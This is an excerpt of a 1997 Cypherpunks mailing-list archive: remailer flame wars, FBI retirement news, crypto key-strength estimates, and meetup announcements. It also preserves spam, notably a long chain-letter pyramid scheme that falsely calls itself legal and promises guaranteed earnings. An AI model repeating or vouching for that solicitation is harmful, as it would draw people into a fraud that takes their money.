> :to say about ANY anonymous poster.
>  
> You're the one who keeps ranting on and on that I'm agaist remailers and I say
> I'm not. You've yet to do anything other than prove that you really do want to
> shut them down.

Then why did you harass Jeff Burchell by demanding that he turn over his logs
to you that would have identified all of his remailer's users and effectively
shut it down by destroying confidence in its integrity.  Did you really think
that the remailer would have remained viable after it was revealed that its
operator turned over its logs to DataBasix or the Church of Scientology?  Or
were you hoping that your attempted end run on privacy would remain your own
dirty little secret?

> : If remailers were shut down, I'd lose my
> :ability to post.  What would you lose, Gary?
>  
> The same thing you'd lose.

How so?  You claim that you don't use remailers.

> : Is being able to identify your
> :critics and single them out for harassment really that important to you?
>  
> You mean like you single me out for harassment?

Your disinformation is getting old.  You've posted no evidence:  

  * No evidence that this so called "harassment" even occurred.  
  
  * No evidence that it originated from someone other than a DataBasix staffer
    fabricating evidence for a smear campaign.
  
  * No evidence that I did it.
  
  * No evidence, period.
  
Typical DataBasix big lie technique.  How about the evidence, BurnFUD?
HINT: Unsupported allegations that an UNNAMED user at DataBasix was "harassed"
by an UNDISCLOSED e-mail from an UNNAMED person using an UNNAMED remailer are 
not evidence.

I've posted a URL to my evidence, posted by a NON-anonymous, firsthand witness
to your abuse, that NAMED you, Belinda Bryan, and William J. McClatchie.  You are 
invited to do likewise, if you have any such evidence.






From bill.stewart at pobox.com  Thu Dec 11 09:02:01 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 12 Dec 1997 01:02:01 +0800
Subject: FBI's Kallstrom Retiring
In-Reply-To: <1.5.4.32.19971209214836.006f6cfc@pop.pipeline.com>
Message-ID: <3.0.3.32.19971211011411.006f4dcc@popd.ix.netcom.com>



At 04:48 PM 12/09/1997 -0500, John Young wrote:
>CNN is saying FBI Ass. Dir. Jimmy "I never met a tap I didn't like"
>Kallstrom is retiring. 
>He was the standard-bearer for the FBI Wiretap bill, and is a
>noted ally of Louie Freeh.

He was also the main spokeman behind the "TWA800 Was Blown Up By Terrorists,
So Turn In All Your Civil Liberties" campaign.  Now that it's been
fairly conclusively demonstrated that it was a mechanical failure,
it's nice to see him getting the boot.  Hope they make him show
ID before letting him out the revolving door.

>He's going to work for MNBA Bank.
Feh.  Now he can look at your Visa cards.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From bill.stewart at pobox.com  Thu Dec 11 09:04:04 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 12 Dec 1997 01:04:04 +0800
Subject: A message with a key to be posted later
In-Reply-To: <3.0.3.32.19971208200125.006be03c@popd.netcruiser>
Message-ID: <3.0.3.32.19971211010526.006f55e0@popd.ix.netcom.com>



The message was posted somewhere near here previously,
without the ice-kicking pegguin part, of course.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From CallNow at 1-800-811-2141  Fri Dec 12 01:22:37 1997
From: CallNow at 1-800-811-2141 (CallNow at 1-800-811-2141)
Date: Fri, 12 Dec 1997 01:22:37 -0800 (PST)
Subject: - POWERFUL HOME BASED MONEY MAKER -
Message-ID: <41645494_32268507>



               ********************************
We will personally close the sales for you and generate weekly
checks! Anyone can do this! Our sales team provides the fastest,
easiest money making system ever!!  My sponsor earned $10,750  in
his first five weeks just by referring people to our 800 number!

If you can give out an 800 number, you can make serious money with 
this program.  Our professional staff will handle all your recruit-
ing calls and close all your sales for you.......... it's just that
easy!

We pay $100.00 per sale each week.  It is very easy to generate a 
$5000 check your first week. Our powerful postcards or fliers are
the best marketing tools (we provide them)  I want you to call this
toll-free number, get your questions answered and ask about our 
dynamic product.

*** Call  1-800-811-2141  and give Code # 23913. *** Keep calling 
until you get through to a live person. Please be patient; it's 
worth it to find out about this program.

Our live representatives will answer your calls.  These represent-
atives will talk to your prospects, mail the materials, and close
them for you.

After you call 1-800-811-2141 (Code # 23913), listen to an overview
at (415) 273-6019 or pull a F.O.D. at (415) 273-6020.

**** 8 am- 10 pm CT Mon.- Sat.   I URGE YOU TO CALL 1-800-811-2141 
AND GET ALL THE DETAILS!  ****

****************************************************************
TO BE REMOVED FROM OUR MAILING LIST, TYPE: DogHouse-2 at juno.com
in the (TO:) area and (REMOVE) in the subject area of a new E-mail
and send.
****************************************************************






From vznuri at netcom.com  Thu Dec 11 11:57:57 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 12 Dec 1997 03:57:57 +0800
Subject: Kallstrom calls it quits
Message-ID: <199712111945.LAA09140@netcom13.netcom.com>





- ------- Forwarded Message

Date: Wed, 10 Dec 1997 09:23:12 -0700
Subject: FBI Kallstrom (TWA investigation) will retire....

12/10/97 -- 5:44 AM

Leader of TWA criminal investigation retires from FBI 

BALTIMORE (AP) - New York FBI chief James Kallstrom will retire at the end of
the month, ending his 28-year law enforcement career only after wrapping up the
bureau's investigation into the crash of TWA Flight 800. 

``It was not in my character to leave before the TWA Flight 800 investigation
was concluded,'' Kallstrom, 54, said Tuesday. ``I thought I owed it not only to
the bureau but to the victims' families and to the American citizens.'' 

FBI Director Louis Freeh said Kallstrom was his supervisor when he joined the
FBI in the 1970s and ``was one of my models.'' Freeh,
who appointed Kallstrom as one of six assistant directors in 1995, tried to
persuade him to remain in office. 

``I love him,'' Freeh said in a telephone interview with The Associated Press.
``But on the other hand I understand that he was a dedicated and loyal FBI agent
who has sacrificed a lot. I also think TWA took its toll on him both emotionally
and physically.'' 

Last month, Kallstrom suspended the FBI's search for a criminal cause into the
July 17, 1996, disaster that claimed 230 lives, saying no
evidence of a bomb or missile was found. The National Transportation Safety
Board is continuing an investigation into mechanical failure
and is holding hearings this week in Baltimore on its findings. 

Kallstrom, who has two young daughters, told the AP that he will take a job as
senior executive vice-president at MBNA Inc., an
international bank and credit card company based in Wilmington, Del. 

``I have to take care of my family and make sure my daughters are educated
properly. I don't leave because I want to leave but it is time
for me to think about other responsibilities. My time has come.'' 

Kallstrom, who is two years short of the FBI's mandatory retirement age, said he
was ``honored to run the flagship office of the FBI and
I leave it in good hands.'' 

Kallstrom has found friends among the families of those who died in the TWA
explosion. 

``I love this man,'' said Michel Breistroff of Paris, who lost his adult son in
the explosion. Breistroff said he had grown to trust Kallstrom
despite his own doubts at times about the openness of the U.S. investigation.
          
``He has shown me such compassion. We are so connected now,'' he said. 

Part of Kallstrom's blunt, get-it-done style was formed in the jungles of
Vietnam, where he fought as a Marine and developed a hatred
for hypocrisy after what he believed was the misrepresentation of the war to the
American people. 

He joined the FBI in Baltimore shortly after leaving the Marines in 1969. Within
the year, he was in New York City, following pizza
trucks alone in the middle of the night because he suspected they were part of a
drug conspiracy. The case developed into a major
mob-drug prosecution headed by Freeh, then a prosecutor. 

Soon Kallstrom was leading teams of agents as they planted microphones in rooms
where mobsters met. The tapes captured notorious New York mob boss John Gotti,
who was later sent to prison for life. Before the end of the 1980s, Kallstrom
helped put behind bars scores of mobsters from every major crime family in New
York. 

Kallstrom said he will miss the FBI. 

``The day I walk out the door for the last time, it will be one of the saddest
days of my life,'' he said.

- - ------- End of Forwarded Message


- ------- End of Forwarded Message



------- End of Forwarded Message






From attila at hun.org  Thu Dec 11 12:25:02 1997
From: attila at hun.org (Attila T. Hun)
Date: Fri, 12 Dec 1997 04:25:02 +0800
Subject: A new first for Reno/Justice! Encryption not even on the agenda!
In-Reply-To: 
Message-ID: <34903E3C.1491@hun.org>

Declan McCullagh wrote:
> 
> I wrote about this yesterday, an hour after the summit ended, at:
> 
> http://cgi.pathfinder.com/netly/afternoon/0,1012,1626,00.html
> 
> Note Reno said that the OECD was where cryptodiscussions where happening.
> 
> -Declan

    firsts never mean much except that in this case, the
    conference could address other issues instead of 
    spending the total conference arguing the fallacies
    of encryption policies, or as you aptly stated:

       But she clearly intends to do
       more than collaborate: The
       joint principles call for the
       government "to continue
       providing the public and private
       sectors with standards for
       reliable and secure
       telecommunications and data
       processing technologies." Like
       the Clipper Chip, maybe? --By
       Declan McCullagh/Washington 

   or as I put in an earlier rant:

       is it not odd that the more the government tries to 
       abridge our free speech rights, the more they want to 
       confiscate our weapons?  

   encryption is a [modern*] weapon against government intrusion
   and tyranny.

       * modern in the sense of availability easily to the masses.

   BTW: today's Doonesbury is timeless. Coach (nee Captain) has 
        not lost it... attached for a limited use to a limited
        (no pun intended) audience under fair use -thanjs Gary.

   attila out...  one more time for justice in our lifetime

-------------- next part --------------
A non-text attachment was scrubbed...
Name: gif00000.gif
Type: application/octet-stream
Size: 23393 bytes
Desc: ""
URL: 

From jamesd at echeque.com  Thu Dec 11 17:05:38 1997
From: jamesd at echeque.com (James A. Donald)
Date: Fri, 12 Dec 1997 09:05:38 +0800
Subject: FCPUNX:Elliptic Curve Tidbit
Message-ID: <199712120047.QAA24455@proxy4.ba.best.com>



At 04:01 PM 12/9/97 -0600, Jim Choate wrote:
> Certicom estimates the difficulty of the warmup exercises thus:
>
>  > Using a network of 3000 computers, it is expected that the
>  > 79-bit exercise could be solved in a matter of hours, the
>  > 89-bit in a matter of days, and the 97-bit in a matter of
>  > weeks.
>
> Harley and Baisley applied 6 computers to ECCp-79 and solved it in a
> bit under 10 days, which would have amounted to less than half an hour
> had they had 3000 machines to throw at the problem.

In that case, 240 bit keys, as used by Pegwit and Kong, should take 
70 000 000 000 000 000 000 000 000 000 000 000 000 years on a network
of three thousand computers, assuming that the scaling law claimed by
Certicom holds true.
 ---------------------------------------------------------------------
We have the right to defend ourselves and our property, because of 
the kind of animals that we are. True law derives from this right, 
not from the arbitrary power of the state.

http://www.jim.com/jamesd/






From brianbr at together.net  Thu Dec 11 17:49:41 1997
From: brianbr at together.net (Brian B. Riley)
Date: Fri, 12 Dec 1997 09:49:41 +0800
Subject: 'Off' the parking pigs! (fwd)
Message-ID: <199712120139.UAA05306@mx01.together.net>



On 12/10/97 2:45 PM, Eric Seggebruch - NYC SE 
(eric.seggebruch at East.Sun.COM)  passed this wisdom:

>Actually it is possible for the government to get more than one shot at
>a defendant through the doctrine of dual sovereignty (state and
>federal).  That is how they got the police officers involved in the
>Rodney King incident.  When the state court (California) jury let them
>off, the feds prosecuted them for civil rights violations in federal
>court.

 TRhey also got the guys who murdered the civil rights workers in the 
60's, after being acquitted in state court of murder. They were convicted 
of the federal crime of violating the victims civil rights also. 


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "The 2nd amendment guarantees all the rest."







From bd1011 at hotmail.com  Thu Dec 11 17:58:24 1997
From: bd1011 at hotmail.com (Nobuki Nakatuji)
Date: Fri, 12 Dec 1997 09:58:24 +0800
Subject: Teach if you know it.
Message-ID: <19971212014614.11294.qmail@hotmail.com>



Who is the Organiz of Cypherpunks-j and Cypherpunks-e ? 
Teach if you know it. 



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From bd1011 at hotmail.com  Thu Dec 11 18:01:18 1997
From: bd1011 at hotmail.com (Nobuki Nakatuji)
Date: Fri, 12 Dec 1997 10:01:18 +0800
Subject: Teach if you know it.
Message-ID: <19971212014540.23977.qmail@hotmail.com>



Who is the Organization of Cypherpunks-j and Cypherpunks-e ? 
Teach if you know it. 



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From lharrison at dueprocess.com  Thu Dec 11 18:06:04 1997
From: lharrison at dueprocess.com (Lynne L. Harrison)
Date: Fri, 12 Dec 1997 10:06:04 +0800
Subject: Split Decision in Browser Antitrust Case
In-Reply-To: 
Message-ID: <3.0.5.32.19971211205907.00851560@pop.mhv.net>

























The software superpower is told it can't force computer-makers to bundle
its browser. But it's spared those $1 million-a-day fines.

http://www.wired.com/news/news/business/story/9111.html
 
                       

************************************************************************
Lynne L. Harrison, Esq.          |    Destiny:
Poughkeepsie, New York           |    "A tyrant's authority for crime
mailto:lharrison at dueprocess.com  |    and a fool's excuse for failure."
http://www.dueprocess.com        |      - Ambrose Bierce
************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.








From lharrison at dueprocess.com  Thu Dec 11 18:59:38 1997
From: lharrison at dueprocess.com (Lynne L. Harrison)
Date: Fri, 12 Dec 1997 10:59:38 +0800
Subject: Split Decision in Browser Antitrust Case
In-Reply-To: <348ff19a.47060515@128.2.84.191>
Message-ID: <3.0.5.32.19971211215303.007e4540@pop.mhv.net>



[Something happened to spacing in 1st msg, so for those who didn't scroll
down..]

The software superpower is told it can't force computer-makers to bundle
its browser. But it's spared those $1 million-a-day fines.

http://www.wired.com/news/news/business/story/9111.html


************************************************************************
Lynne L. Harrison, Esq.          |    Destiny:
Poughkeepsie, New York           |    "A tyrant's authority for crime
mailto:lharrison at dueprocess.com  |    and a fool's excuse for failure."
http://www.dueprocess.com        |      - Ambrose Bierce
************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.








From bill.stewart at pobox.com  Thu Dec 11 20:11:00 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 12 Dec 1997 12:11:00 +0800
Subject: BAY AREA CYPHERPUNKS MEETING, SATURDAY 12/13, 1PM, MOUNTAIN VIEW
Message-ID: <3.0.3.32.19971211193357.0073ec98@popd.ix.netcom.com>



The December Bay Area Cypherpunks Meeting will be held 12/13 at 1pm at
Printer's Ink on Castro Street in Mountain View.
Depending on the weather and the size of the crowd,
we'll either stay there or move to the Java Something across the street.

Many of the usual suspects have been at the IETF meeting this week,
so there isn't a precise agenda, but there's been a lot of activity
to discuss:
- Dan Bernstein Hearing Dec. 8th 
- PGP acquired by McAfee / NA
- OpenPGP standards committee - we've reached some probable conclusions
	on handling the CMR Additional Recipient Request,
	and there's an OpenPGP track at the IETF meeting.
- Any new hacks from Berkeley?
- Lucky Green's Latest Smartcard Tricks

Directions: Printer's Ink. is on Castro St. at the corner of Dana,
	about two blocks south of the Central Expressway.
	Parking lots are behind the stores.

	From 101, Take Moffett Blvd Exit to Mountain View
	Moffett becomes Castro St. as it crosses the Central Expressway.

	From El Camino, take Castro St. about two blocks north.

	By Caltrain, take the Mountain View Castro Street stop,
	about 1 hour south of San Francisco or 20 min north of San Jose.

	By ICBM or GPS, it's about 37.39395N 122.07791W.




				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From Steve at AZTech.Net  Thu Dec 11 21:59:11 1997
From: Steve at AZTech.Net (Steve at AZTech.Net)
Date: Fri, 12 Dec 1997 13:59:11 +0800
Subject: Phoenix Area cypherpunks CFIL (Call for Interest-level)
Message-ID: <199712120545.WAA05509@wyrm.AZTech.Net>



I keep seeing periodic announcements for crypto-related gatherings in various
metro-areas in other parts of the country.  I haven't noticed any from Phoenix
(nor the rest of Arizona) so, I thought I'd take it apon myself to take a CFIL.
If (say) 10 people respond, I'll begin organizing a periodic get-together, along
the lines of what some other localities have already done.

Note to other organizers: I'd appreciate helpful hints on how to make things 
work.  I'm more of a techie than a socialite, and don't understand all of the 
niceties of getting people together, finding cheap laces to meat, and finding
people willing to get up in front of a crowd and talk, much less getting people
that don't know each other to talk to each other.

Prospective participants: Please respond with at least general coordinates for
your preferred meeting place, and your preferred days/dates/times for meeting.

I'd _really_ like to see this get off of the ground.  I _know_ that Phoenix/AZ
has enough high-tech/security-interested people to get things going.  I'll be 
really dissapointed in my home-state if I can't get at least 10 responses.

--
Steve

P.S. If there is strong objection to the distribution list that I am currently
using, I apologize.  The initial announcement was meant to reach as many people
interested in cryptography located in PHX/AZ as possible.  Future announcements
will probably be sent to a new majordomo list and other selected lists, as 
appropriate.  (List managers: If you don't appreciate my efforts, please let me
know.)

P.P.S.  If your MUA doesn't honor Reply-to: headers, please CC: 
sgibbo at amex-trs.com for a prompt response.






From jito at eccosys.com  Fri Dec 12 01:58:08 1997
From: jito at eccosys.com (Joichi Ito)
Date: Fri, 12 Dec 1997 17:58:08 +0800
Subject: htp.org (cypherpunks-e dist)
In-Reply-To: <66bh5f$l85$1@sparky.wolfe.net>
Message-ID: <199712120952.SAA25626@eccosys.com>



Apologies for error messages. htp.org has been down for a few days
due to ISP problems. It is running again.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ji.to




From waujia84 at msn.com  Fri Dec 12 18:17:35 1997
From: waujia84 at msn.com (waujia84 at msn.com)
Date: Fri, 12 Dec 1997 18:17:35 -0800 (PST)
Subject: santa is bringing $$
Message-ID: <199712122514SAA28979@post.cs.uec.ac.jp>


STOP SITTING AROUND AND DOING NOTHING!              $$$ TOTALLY NEW! $$$                    
 DON'T LET LIFE AND OPPORTUNITY PASS YOU BY !    $$$ TOTALLY NEW! $$$              
 YOUR TIME HAS COME AND IT IS NOW!!!                      $$$ TOTALLY NEW! $$$            
                                 
                              YOU ARE ONE OF THE FIRST TO SEE THIS                    
                    
         HELP OTHERS SUCCEED, A "WIN-WIN"  PROPOSITION LIKE NO OTHER!                                                 
                    
              WE HAVE TAKEN A SUCCESSFUL FORMULA AND MASTERED IT!!!!!!!                    
                    
                        DO NOT DELETE THIS MESSAGE WITHOUT READING IT                      
                    
                             HELP YOUR FRIENDS AND FAMILY SUCCEED                     
                                             HELP YOURSELF!!!!!!!                                        
                        
       $1,000,000.00     IN 6 MONTHS !               $1,000,000.00     IN 6 MONTHS !                    
       $1,000,000.00     IN 6 MONTHS !               $1,000,000.00     IN 6 MONTHS !                    
       $1,000,000.00     IN 6 MONTHS !               $1,000,000.00     IN 6 MONTHS !                  
                    
        TOTALLY NEW!   TOTALLY NEW!     TOTALLY NEW!      TOTALLY NEW!                  
                    
     I am sure that you have received many Emails in the past that showed ways of making a lot of money fast. I am sure you have discarding these as some pyramid scam or chain letter scheme. But you probably have wondered if these "systems "actually work . They WORK!  .              
However many of the programs have serious flaws and are extended so far as to make only the few succeed and the majority unsuccessful. We have taken a successful , very successful, formula and combined it with great products designed to make even the most computer illiterate succeed.But we have also taken it to the next level, a chance for you to help others around you . Nothing is more satisfying than being able to bring happiness to others. It is a gift that you can't put a price tag on.              
                    
                    
Email has come along way .It is still almost totally free-except for your ISP account. You can literally reach millions of people at no cost. This sure beats postal delivery . Our program will get even the beginner computer user on the path of success.             
Of course over the last few months a few road blocks have appeared that has hindered many success programs.            
These are;                      
                                                             
                                  *******************                          
  1. goverment is trying to pass legislation to limit or stop what                         
has until now been a free way of advertising. Email will be severly                         
restricted, very, very soon.Up until now,this type of program is 100%                         
legal and has no laws governing it. Soon this will change.             
                                   
                                   *******************                          
 2.Internet service providers ,usch as AOL and Compuserve are really                         
trying their best to end unsolicited Emailing.             
                                               
                                   *******************                         
  3. Once you have seen a certain program that has "flooded" the                         
internet lines, it is already too late. The People who have made                         
money are on to bigger and brighter things, and the majority of                         
people will just delete the Email because they have seen it hundreds                         
of times already.                      
                                  ********************              
                        
   4.  OTHER PROGRAMS HAVE PRODUCTS AND REPORTS THAT ARE THERE                         
SPECIFICALLY TO JUSTIFY THE PROGRAM( make them legal). This program has a                        
 great product that can change peoples lives and help others around                         
them                        
                        
                                 $$$$$$$$$$$$$$$$$$$$$                      
                                                                                              
       IF YOU EVER THOUGHT OF TRYING A PROGRAM , NOW IS THE                         
                         TIME AND THIS IS THE PROGRAM!               
                       
                                 $$$$$$$$$$$$$$$$$$$$$                                                     
                                                                       
                                                 
  THIS PROGRAM CAN ENABLE YOU TO MAKE $1,000,000 IN 6 MONTHS!                        
                        
                        
Here is what happenned to me,                        
Hi my name is Stephen Haughten, I am 34 yrs old and have been employed                        
in the retail industry for 12 years working for someone else ,barely                         
making enough to pay the bills and at a dead end . I have always                         
tried new ideas and different investment stategies with little if any                         
success. In Sept of 96' , While "surfing the web" on AOL , I received                         
a Email from some one showing how I could make "$50,000 in 90 days"                         
It seemed like some" get rich quick scheme ", but what the hell , my                         
out of the pocket expense was $20 and a little time. I can spend $20                         
in seconds on meaningless items, so why not spend it on something                         
that may help my current financial situation. After I emailed A few                         
thousand people the program , I started receiving $5 bills in the                         
mail. I was quite surprised to say the least. I sent out more Emails                         
and before I knew it I had to switch to a P.O box because my mailbox                         
couldn't fit all e letters. Within 11 weeks I had made $42 000.00 !                         
It was like I saw the light at the end of the tunnel. I paid off the                         
$19000.00 that I owed in credit card bills and it was like I was a                         
new person. I couldn't wait to check the P.O. Box each day! After the                         
letters started to trickle down, I did the program again along with                         
this other  similer program that I saw.  By March 97' I quit my job,                         
paid off all my debt and  saw my money market acct grow from $1,500                         
to over $100,000 ! ,in little over 7 months! True story! I was now a                         
"full time" computer  Emailer. When I say full time , I say that I                         
spend a few hours a day Email,sorting through the mail and mailing                         
out the programs' letters to the people who sent me e $5.The rest of                         
the time I spent with my wife and my two sons . It was great to                         
finally be able to spend time with them, as I have always felt that I                         
never was able to give them the quality time they needed. Best of                         
all, My wife enjoyed helping me open the letters and mailing out the                         
programs!My wife was working as a secretary while trying to raise                         
our children. Now she was able to quit her job and the change in her                         
was unbelievable! We were finally beginning to live the life we so                         
deserved.                         
                                                                    
                               *************************                           
  On October 30th,1997 I decided to launch                         
my new ,improved and faster program. This program has all of the key                         
positive points from the several different programs that I have used.                         
And most importantly it is new and easy to use.                        
                        
                              *************************                        
                    But the absolute best part is the reports that                         
you send and receive actually are are ALL NEW!  and can show people                           
 how to take control of and improve their lives in every shape and                         
form !                                               
                        
                              *************************                        
          Prior reports from similer programs , were                         
basically there only to justify the program. These NEW reports                         
are - PRICELESS!  The reports are unbelivable! The information in the                         
programs alone may change your life;                                                
               financially,emotionally,spiritually, in every way!                             
                        
       If you have tried other Email programs and had limited                         
success, it was because of three things ;                             
          1. EFFORT                           
          2. TIMING                               
          3. PRODUCT                           
                        
                                        ************************                        
                                            THIS PROGRAM                         
TAKES CARE OF ISSUES #2 AND #3 . THE EFFORT IS UP TO YOU.                        
 I can not stress how much of the success of a program depends on the                         
product and ease of use. Here is your chance , I do not know how long                         
you will have this opportunity, only the goverment can decide.                     
                        
    IT IS A CAN'T LOSE - "WIN-WIN"  OPPORTUNITY!!                           
                          
    ********************************************************************                         
    THIS PROGRAM ,UNLIKE THE OTHERS , HAS A GREAT PRODUCT                           
    AND IT WILL SUCCEED FOR THE SOLE PURPOSE OF PEOPLE  TRYING TO                         
    HELP OTHERS LIVE AND ENJOY LIFE TO THE FULLEST                           
                                   
    *********************************************************************                                  
                                              
    THIS IS THE PROGRAM TO TRY ! YOU MAY NOT GET ANOTHER CHANCE!     
                      
                               
   Here is how the program works;                        
                        
Print this now for future reference***********************                        
This is a money making phenomenon !!!!!!!!!!  You are looking at the                        
most profitable and unique program you may ever see.  It is proven                         
to generate large sums of money and it is completely legal.  It does                         
not require you to come in contact with people, it doesn't require                         
hard work and you never have to leave the house .                       
                        
We sell thousands of people a product for $10.00 that costs very little to produce                        
on e-mail.  We build our business by recruiting new members and                         
partners and selling our products.                        
                        
The product in this program is a series of 4 reports providing tips for financial,                        
emotional and spiritial gain.  Each $10.00 order you receive by mail                         
will include the e-mail address of the sender.  To fill the order,                         
simply e-mail the report to the buyer, that's it!!!!!!!!!!!!  The                         
$10.00 they send is yours simply for sending the report via e-mail.                        
                        
         YOU MUST FOLLOW THE INSTRUCTIONS EXACTLY!            
                        
This is what you do ............................                        
                        
1.Order all 4 reports that are listed below.  For each report you send                        
 $10.00 cash, your e-mail address, return postal address (in case of                         
mail errors) to each person listed below.  When you order, be sure to                         
list the specific report you need.  You will need all 4 reports to                         
save on your computer for reselling them.                        
                        
2. IMPORTANT  Do not alter the names, or the sequence that they                        
are in or you will not profit the way you should.THIS IS A KEY TO                         
MAKING THE PROGRAM WORK. It is not fair to the others in the program                         
if you do not follow the program exactly. DO UNTO OTHERS AS YOU WOULD                         
LIKE THEM TO DO UNTO YOU! -the golden rule of life .                        
                        
3. Replace the name and address under REPORT #1 with your name and move the                        
name that was there down to REPORT #2.  Move the name on REPORT #2                         
to REPORT #3 and so on eliminating the name on report #4.  They are                          
well on their way to financial independance by now so don't worry .                          
Copy the names and addresses accurately and do not remove the                         
Report/Product positions.                        
                        
Take this entire text and save it on your computer.                        
                        
Now your ready to start selling your product on the web.  Start your campaign as            
soon as you can!!!!!!!!!!!!!!!                            
                        
***********ALWAYS PROVIDE SAME DAY SERVICE*******************                        
                        
ALWAYS SEND $10.00 CASH FOR EACH ORDER (CONCEALED) FOR EACH ORDER  REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.  ALWAYS SEND MAIL FIRST CLASS AND PROVIDE YOUR E MAIL ADDRESS            
FOR QUICK DELIVERY.                         
                        
THIS MAY BE THE MOST IMPORTANT DECISION OF YOUR LIFE, BUT IT'S                         
UP TO YOU...  I AM GIVING YOU THE OPPORTUNITY TO OPEN YOUR                         
MIND, VISUALIZE YOUR GOALS AND YOUR DREAMS, AND TAKE THE                         
FIRST STEP TOWARD THEM.  THE INFORMATION I HAVE PROVIDED                         
HERE WILL ALLOW YOU TO ACHIEVE YOUR GOALS AND REALIZE                         
YOUR DREAMS.  YOUR INCOME DOES NOT HAVE TO BE LIMITED TO                         
AN HOURLY WAGE OR A SALARY.  TAKE THE INITIATIVE!  ...                                         
                        
                         IT MAY CHANGE YOUR LIFE!         
                      
____________________________________________________                        
REPORT #1 "EMAIL MILLIONAIRES-THE ROAD TO INDEPENDANCE"                        
ORDER REPORT #1 FROM:                          
A&L INC.                        
113 MT. HERMON WAY                         
OCEAN GROVE , N.J. 07756                        
_____________________________________________________                        
REPORT #2 "REAL ESTATE -'THE ART OF THE FLIP'"                        
ORDER REPORT #2 FROM:                        
SMITH & CO.                        
P.O. BOX 678                         
KEYPORT N.J. 07735                        
_____________________________________________________                        
REPORT #3 "MAKE 10-20% A MONTH IN STOCKS"                        
ORDER REPORT #3 FROM:                        
MS INC.                        
46 W. SHORE ST                        
KEANSBURG N.J. 07734                        
______________________________________________________                        
REPORT #4 "THE STRANGEST SECRET "                        
ORDER REPORT #4 FROM:                        
McCollough                         
504 13th ave                        
Belmar N.J. 07719                        
______________________________________________________                        
                        
HERE'S HOW THIS AMAZING PLAN WILL EARN YOU MONEY                        
Let's say you decide to start small just to see how it goes.                        
Assume your goal is to get only 20 people to participate on your first level.                        
(Placing FREE ads on the internet could get a better response.)                        
                        
Also assume that everyone else in YOUR BUILDING ORGANIZATION                        
gets only 20 downline members.  Follow this example for the STAGGERING                         
results below:                        
                        
1st level -- your 20 members with 10  ($10 x 20)                 $200    (position 1)                        
2nd level --20 members from those 20 ($10 x 400)              $4000    (position 2)                        
3rd level -- 20 members from those 400 ($10 x 8,000)         $80,000   (position 3)                        
4th level -- 20 members from those 8,000 ($10 x 160,000)   $1,600,000   (position 4)                        
                                                THIS TOTALS----------->   $1,684,200.00 !!!!!!!!!                        
                        
Remember friends, this is assuming that the people who participate only                        
recruit 20 people each.  Imagine what the response would be if you only  got 10 more people to participate!                        
Some people get 100's of recruits!                          
STOP AND THINK ABOUT IT!                        
                        
By the way, your cost to participate in this is practically nothing.                        
You obviously already have an internet connection and e-mail is FREE!!!                        
                        
REMEMBER:  Approx. 50,000 new people get online monthly!                        
ORDER YOUR REPORTS NOW!!!                        
                        
                              *******TIPS FOR SUCCESS*******                        
                        
TREAT THIS AS YOUR BUSINESS!                        
Send for the four reports IMMEDIATELY, so you will have them when the                        
orders start coming in because: When you receive a $10 order, you MUST                        
send out the requested product/report to comply with the                        
U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18,                        
Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16,                        
Sections 255 and 436, which state that:                        
"a product or service must be exchanged for money received."                        
                        
 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. *                        
Be patient and persistent with this program.  If you follow the instructions                        
EXACTLY the results WILL undoubtedly be SUCCESS!                        
 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!                        
                        
                          *******YOUR SUCCESS GUIDELINE*******                        
                        
The check point that guarantees your success is simply this:                        
You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!                        
If you don't within two weeks, advertise more and send out more programs                         
until you do.  Then, a couple of weeks later you should receive at least 100                        
orders for REPORT #2.  If you don't, advertise more and send out more                         
programs until you do.  Once you have received 100 or more orders for                         
REPORT #2, YOU CAN RELAX, because you will be on your way to the                         
BANK!  Or, you can DOUBLE your efforts!                        
                        
REMEMBER:  Every time your name is moved down on the list you are in front                        
of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by                        
what report people are ordering from you.                        
IT'S THAT EASY!!!                       
                                           
====================================================                        
ORDER TODAY AND GET STARTED ON THE PATH TO YOUR FINANCIAL FREEDOM!!!                        
                        
Very few people reach financial independence, because when                        
opportunity knocks, they choose to ignore it.  It is much easier to say                        
"NO" than "YES", and this is the question that you must answer.                        
Will YOU ignore this amazing opportunity or will you take advantage of it?                        
If you do nothing, you have indeed missed something and nothing will change.                        
Please re-read this material, this is a special opportunity.  My method is simple.                        
I sell thousands of people a product for $10 that costs me pennies to produce                        
and e-mail.  I should also point out this program is legal and everyone who                        
participates WILL make money.  This is not a chain letter or pyramid scam.                        
This is a business!  You are offering a awesome product to your people.                        
After they purchase the product from you, they reproduce more and resell them.                        
The information contained in these REPORTS IS UNBELIEVABLE!  They                         
will not only help you in making your participation in this program                         
more rewarding, but THEY MAY CHANGE YOUR LIFE AND HELP THOSE YOU LOVE                         
AND CARE ABOUT! .  You are also buying the rights to reprint all of                         
the REPORTS, which will be ordered from you by those to whom you mail                         
